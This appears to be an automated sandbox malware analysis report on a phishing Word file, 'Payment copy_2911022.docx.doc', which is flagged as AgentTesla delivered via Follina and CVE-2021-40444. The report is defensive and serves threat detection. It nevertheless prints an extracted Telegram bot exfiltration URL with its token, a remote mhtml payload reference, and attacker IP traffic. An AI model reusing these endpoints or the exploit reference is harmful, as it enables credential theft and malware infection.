Windows Analysis Report
Payment copy_2911022.docx.doc

Overview

General Information

Sample Name: Payment copy_2911022.docx.doc
Analysis ID: 770660
MD5: cd3dbd5f1d468da826581361b619b393
SHA1: 9d5fc2d99aec7c8c18d8af7267b4a31801fda770
SHA256: 1c6189f068ee3870e1d41511bd55c02cef9d98a816a963a26f95ff0b6becea1f
Tags: docdocx
Infos:

Detection

CVE-2021-40444, AgentTesla, Follina CVE-2022-30190
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected AgentTesla
Yara detected AntiVM3
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Detected CVE-2021-40444 exploit
Snort IDS alert for network traffic
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Telegram RAT
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for dropped file
Tries to steal Mail credentials (via file / registry access)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses the Telegram API (likely for C&C communication)
May check the online IP address of the machine
Injects a PE file into a foreign processes
.NET source code contains very large array initializations
Contains an external reference to another file
Hides that the sample has been downloaded from the Internet (zone.identifier)
Document exploit detected (process start blacklist hit)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
.NET source code references suspicious native API functions
.NET source code contains method to dynamically call methods (often used by packers)
Machine Learning detection for dropped file
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Antivirus or Machine Learning detection for unpacked file
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Compiles C# or VB.Net code
Dropped file seen in connection with other malware
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Internet Provider seen in connection with other malware
Yara detected Credential Stealer
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found inlined nop instructions (likely shell or obfuscated code)
PE file does not import any functions
Allocates memory with a write watch (potentially for evading sandboxes)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs HTTP gets)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Payment copy_2911022.docx.doc ReversingLabs: Detection: 41%
Source: Payment copy_2911022.docx.doc Virustotal: Detection: 46% Perma Link
Antivirus / Scanner detection for submitted sample
Source: Payment copy_2911022.docx.doc Avira: detected
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe ReversingLabs: Detection: 37%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack Avira: Label: TR/Spy.Gen8
Source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.raw.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot5187914704:AAHhM5YfeLYR_Ow0fgwMOZKO7je7btbh5DA/sendMessage?chat_id=1673982758"}
Source: PROMZwFp385vXrN.exe.1788.17.memstrmin Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5187914704:AAHhM5YfeLYR_Ow0fgwMOZKO7je7btbh5DA/sendMessage"}

Exploits
barindex
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Source: Yara match File source: 00000004.00000002.444972338.00000000030C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.443928624.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.443795153.0000000002D90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.443908283.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Detected CVE-2021-40444 exploit
Source: document.xml.rels Extracted files from sample: mhtml:https://pzsrblog.com/wp-content/uploads/2012/promzwfp385vxr!x-usc:https://pzsrblog.com/wp-content/uploads/2012/promzwfp385vxr
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 118.27.125.229:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 118.27.125.229:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 118.27.125.229:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: Binary string: oI4HW.pdbh' source: PROMZwFp385vXrN.exe, 0000000F.00000000.476154274.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp, PMoZbw.exe.17.dr
Source: Binary string: oI4HW.pdb source: PROMZwFp385vXrN.exe, 0000000F.00000000.476154274.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp, PMoZbw.exe.17.dr

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49701
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49701
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49701
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49701
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49701
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49701
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49701
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49702
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49703
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49703
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49703
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49703
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49703
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49703
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49704
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49705
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49705
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49705
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49705
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49705
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49705
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49705
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49706
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49706
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49706
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49706
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49706
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49706
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49710
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
